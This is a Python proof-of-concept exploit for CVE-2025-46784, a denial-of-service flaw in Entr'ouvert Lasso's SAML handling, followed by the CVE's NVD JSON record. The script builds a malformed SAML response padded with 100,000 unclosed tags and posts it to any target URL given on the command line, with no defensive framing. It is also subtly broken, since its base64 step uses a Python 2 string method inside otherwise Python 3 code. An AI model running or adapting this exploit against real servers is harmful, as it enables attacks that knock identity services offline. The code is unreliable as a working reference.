CVE-2025-46784

#!/usr/bin/env python3 # CVE-2025-46784 PoC - Entrouvert Lasso DoS via Malformed SAML Response # This PoC demonstrates memory depletion via malformed SAML response import requests import sys def create_malformed_saml_response(): """Generate a malformed SAML response to trigger memory depletion""" saml_response = '''<?xml version="1.0" encoding="UTF-8"?> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion> <saml:Subject> <saml:NameID>[email protected]</saml:NameID> </saml:Subject> <!-- Malformed elements to trigger memory depletion --> <saml:AttributeStatement> <saml:Attribute Name="malicious_attribute"> <!-- Repeated malicious content --> <saml:AttributeValue>''' + '<x>' * 100000 + '''</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>''' return saml_response def exploit(target_url): """Send malformed SAML response to target""" saml_response = create_malformed_saml_response() headers = { 'Content-Type': 'application/x-www-form-urlencoded', } data = { 'SAMLResponse': saml_response.encode('base64').decode('ascii') } print(f"[*] Sending malformed SAML response to {target_url}") try: response = requests.post(target_url, data=data, headers=headers, timeout=30) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} https://vulnerable-server/saml/acs") sys.exit(1) target = sys.argv[1] exploit(target)

{"cve": {"id": "CVE-2025-46784", "sourceIdentifier": "[email protected]", "published": "2025-11-05T15:15:39.030", "lastModified": "2025-11-07T20:01:13.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial of service vulnerability exists in the lasso_node_init_from_message_with_format functionality of Entr&#39;ouvert Lasso 2.5.1. A specially crafted SAML response can lead to a memory depletion, resulting in denial of service. An attacker can send a malformed SAML response to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:entrouvert:lasso:2.5.1:*:*:*:*:*:*:*", "matchCriteriaId": "7177DC8A-9874-45BA-BC80-17604D8A0875"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2195", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2195", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}